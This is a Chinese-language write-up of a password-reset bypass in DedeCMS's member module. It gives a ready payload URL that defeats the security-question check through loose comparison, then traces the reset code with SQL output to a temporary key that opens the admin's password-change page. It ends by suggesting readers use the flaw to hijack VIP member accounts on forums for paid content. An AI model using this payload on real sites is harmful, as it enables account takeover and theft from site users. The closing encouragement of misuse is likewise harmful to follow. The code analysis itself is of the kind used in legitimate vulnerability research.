利用这个漏洞的前提是网站开启了会员注册功能,如果不知道如何开启的话,可以按照下图进行开启测试
攻击payload
http://localhost/member/resetpassword.php?i=0.0&dopost=safequestion&safequestion=0.0&safeanswer=&id=1
问题文件dedecms\member\resetpassword.php,问题出在75行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| else if($dopost == "safequestion") { $mid = preg_replace("#[^0-9]#", "", $id); $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) { sn($mid, $row['userid'], $row['email'], 'N'); exit(); } else { ShowMsg("对不起,您的安全问题或答案回答错误","-1"); exit(); }
}
|
按照payload传入的参数,sql语句查询的结果如下
1 2 3 4 5 6
| mysql> SELECT safequestion,safeanswer,userid,email from dede_member WHERE mid = 1; +--------------+------------+--------+-------+ | safequestion | safeanswer | userid | email | +--------------+------------+--------+-------+ | 0 | | admin | | +--------------+------------+--------+-------+
|
根据这个查询结果,也就意味着等下会调用sn函数,传入的参数如下:
1
| sn($mid=1, $userid='admin', $mailto='', $send='N')
|
接下来继续跟踪sn函数。该函数位于dedecms\member\inc\inc_pwd_functions.php文件中,具体功能如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| function sn($mid,$userid,$mailto, $send = 'Y') { global $db; $tptim= (60*10); $dtime = time(); $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(!is_array($row)) { newmail($mid,$userid,$mailto,'INSERT',$send); } elseif($dtime - $tptim > $row['mailtime']) { newmail($mid,$userid,$mailto,'UPDATE',$send); } else { return ShowMsg('对不起,请10分钟后再重新申请', 'login.php'); } }
|
默认状态下,临时密码的表为空,如下
1 2
| mysql> select * from dede_pwd_tmp; Empty set (0.00 sec)
|
当我们访问完payload时,链接会自动跳转到http://localhost/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=34qn8KnX
这里key的值就是admin的临时密码,这时再查询数据库的临时密码表,你会发现多了一条admin的记录
1 2 3 4 5 6 7
| mysql> select * from dede_pwd_tmp; +-----+------------+----------------------------------+------------+ | mid | membername | pwd | mailtime | +-----+------------+----------------------------------+------------+ | 1 | admin | 0aa76a6cf6c9abd06df9081f12e094e4 | 1515599643 | +-----+------------+----------------------------------+------------+ 1 row in set (0.00 sec)
|
这是因为一开始执行 SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'
语句时,返回结果为空,进而会执行160行的newmail函数,传参如下
1
| newmail($mid=1,$userid='admin',$mailto='',$type='INSERT',$send=N);
|
继续跟踪newmail函数(在该文件73行处)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl; $mailtime = time(); $randval = random(8); $mailtitle = $cfg_webname.":密码修改"; $mailto = $mailto; $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail"; $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid; if($type == 'INSERT') { $key = md5($randval); $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000'); } else if ($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } } else { return ShowMsg('对不起修改失败,请联系管理员', 'login.php'); } }
|
我们发现,这个函数往数据库中插入了一条admin的临时密码的记录,并且会跳转到 /resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval
链接
使用前面获取的值,访问下面链接即可跳转到用户密码修改页面
http://192.168.2.104/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=FRfsUlnx
但是默认情况下,admin在会员中心是静止登录的,也就是说即使你修改成功了admin会员的密码,还是不能登录admin,但是其他的会员就可以随意登录。比如一些论坛的资源教程需要vip,你可以修改vip用户的密码,然后。。。啊,不说了,你懂的。